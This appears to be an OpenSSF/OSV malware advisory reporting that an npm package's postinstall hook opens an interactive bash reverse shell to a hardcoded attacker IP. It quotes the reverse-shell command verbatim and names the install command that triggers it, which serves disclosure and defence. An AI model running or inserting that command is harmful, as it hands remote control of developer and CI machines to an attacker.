OpenSSF/OSV advisory MAL-2026-3714 confirms this npm version as malicious. This package's postinstall hook executes `node index.js`, which runs `execSync('bash -i >& /dev/tcp/52.249.218.132/8080 0>&1')` — an interactive bash reverse shell to the hardcoded attacker IP 52.249.218.132 on TCP port 8080. Any developer or CI system that runs `npm install hello-world-pkg-value-value-p` hands an interactive shell (running as the installing user) to whoever controls that IP...
Source
OpenSSF Malicious Packages via OSV
Summary
Malicious code in hello-world-pkg-value-value-p (npm)
Details
This package's postinstall hook executes `node index.js`, which runs `execSync('bash -i >& /dev/tcp/52.249.218.132/8080 0>&1')` — an interactive bash reverse shell to the hardcoded attacker IP 52.249.218.132 on TCP port 8080. Any developer or CI system that runs `npm install hello-world-pkg-value-value-p` hands an interactive shell (running as the installing user) to whoever controls that IP. The package metadata is a meaningless-name cover story ('minimal npm...') with no legitimate functionality; the sole effect of installation is to open a remote shell on the installer's host. This is unambiguous unauthenticated RCE against the installer with no legitimate use case.
## Source: ossf-package-analysis (0df4b35a2af7f4d8b4fdcda0dcb3e872deddb6a320bf6af8405b27f42ff413db) The OpenSSF Package Analysis project identified 'hello-world-pkg-value-value-p' @ 1.0.11 (npm) as malicious.
It is considered malicious because:
- The package executes one or more commands associated with malicious behavior.
Decision reason
OpenSSF Malicious Packages via OSV confirms hello-world-pkg-value-value-p@1.0.11 as malicious (MAL-2026-3714): Malicious code in hello-world-pkg-value-value-p (npm)